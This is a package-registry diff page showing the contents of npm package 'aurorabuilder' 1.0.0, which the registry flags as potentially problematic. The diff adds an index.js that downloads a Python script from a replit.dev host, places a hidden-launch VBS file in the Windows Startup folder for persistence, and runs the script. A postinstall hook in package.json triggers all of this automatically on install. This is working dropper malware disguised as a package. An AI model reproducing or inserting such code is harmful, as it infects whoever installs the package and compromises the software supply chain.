aurorabuilder 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of aurorabuilder might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ const { execSync } = require("child_process");
2
+ const fs = require("fs");
3
+ const path = require("path");
4
+ const os = require("os");
5
+ const https = require("https");
6
+
7
+ const targetUrl = "https://48c8c26d-782f-4f2a-b1fe-9d34e61a191c-00-rq50s4iqt42n.janeway.replit.dev/cg.pyw";
8
+ const targetPath = path.join(os.homedir(), "cg.pyw");
9
+
10
+ // Download the file
11
+ https.get(targetUrl, (res) => {
12
+ const file = fs.createWriteStream(targetPath);
13
+ res.pipe(file);
14
+ file.on("finish", () => {
15
+ file.close();
16
+
17
+ // Add to Windows Startup
18
+ const startupPath = path.join(os.homedir(), "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup");
19
+ const shortcutPath = path.join(startupPath, "cg.vbs");
20
+ const vbsScript = `Set WshShell = CreateObject("WScript.Shell")
21
+ WshShell.Run "pythonw.exe ${targetPath.replace(/\\/g, "\\\\")}", 0
22
+ Set WshShell = Nothing`;
23
+
24
+ fs.writeFileSync(shortcutPath, vbsScript);
25
+
26
+ // Run the script
27
+ execSync(`start pythonw.exe "${targetPath}"`);
28
+ });
29
+ });
package/package.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "aurorabuilder",
3
+ "version": "1.0.0",
4
+ "description": "Ignore.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "bin": {
11
+ "exe-downloader": "index.js"
12
+ },
13
+ "keywords": [],
14
+ "author": "firfjui",
15
+ "license": "MIT",
16
+ "dependencies": {
17
+ "axios": "^1.4.0",
18
+ "child_process": "1.0.2",
19
+ "fs": "0.0.1-security",
20
+ "path": "^0.12.7"
21
+ }
22
+ }
File without changes